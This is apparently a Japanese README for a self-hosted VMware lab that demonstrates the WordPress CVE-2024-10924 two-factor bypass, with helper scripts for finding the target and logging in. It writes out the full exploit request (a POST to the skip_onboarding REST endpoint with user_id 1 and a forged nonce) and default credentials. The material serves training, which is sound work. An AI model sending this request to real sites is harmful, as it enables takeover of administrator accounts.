
このリポジトリは、WordPress の CVE-2024-10924 脆弱性を悪用して、二要素認証(MFA)をバイパスし、WordPress 管理パネルへのアクセスを取得するためのラボを提供します。
このラボを自分の環境に展開するには、以下の手順に従ってください。
LAB の zip を解凍し、VMware で Open をクリックしてマシンをインポートします。Ubuntu-Bypass-MFA-Wordpress.vmx というファイルを選択し、最後に Power をクリックして脆弱なマシンを起動します。
Kali マシンに必要なツールをインストールし、以下のアプリケーションがインストールされていることを確認してください。
nmap: ネットワークスキャンを実行するため。requests: HTTP リクエストを行うため(ない場合は pip install requests で requests をインストールしてください)。rich: コンソールへの見やすい出力のため(pip install rich でインストールしてください)。ネットワーク環境内の WordPress マシンの IP を取得するには、Kali マシンから次のスクリプトを実行します。
$ python3 knowIPwordpress.py
このスクリプトは次のことを行います:
お使いのローカル IP を検出します。
対応するネットワークセグメントをスキャンして、アクティブな IP を探します。
HTTP サービスのポートスキャンを実行します。
WordPress マシンの IP の HTTP サービスに "Bypass-MFA" というタイトルがあるか確認します。
見つかったら、WordPress 管理パネルにアクセスできる URL が表示されます。
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
WordPress にログインしようとすると、二要素認証(MFA)を求められます。この手順をバイパスするには、Kali で次のスクリプトを実行します。
$ python3 bypass-MFA-Wordpress.py
bypass-MFA-Wordpress.py スクリプトの仕組み
このスクリプトは CVE-2024-10924 脆弱性を悪用して二重認証をバイパスし、WordPress 管理パネルへのアクセスを取得します。
セッションクッキーの取得:スクリプトは reallysimplessl/v1/two_fa/skip_onboarding エンドポイントに HTTP リクエストを送信して、有効なセッションクッキーを取得します。
リクエストは次の情報とともに送信されます:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
クッキーを取得した後、スクリプトは WordPress のユーザー名とパスワードを要求します。次に、提供された認証情報を使用して wp-admin/profile.php エンドポイントに POST リクエストを送信し、ログインします。
バイパスが成功した場合、スクリプトは管理者ダッシュボードからの応答を .html ファイルに保存し、デフォルトのブラウザで開きます。
これで WordPress 管理パネルにアクセスできるようになります!
BurpSuite を使用して手動で実行し、Cookies を取得するためにリクエストを送信する必要がある Endpoint を確認したい場合は、次の方法で行えます。
$ python3 endpointWordpress.py
これにより、Cookies を取得するために BurpSuite に入力する必要があるコードが表示されます。私の場合は次のようになります:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
https://github.com/user-attachments/assets/e70789d1-4fe4-46b4-81ef-76229dd265ce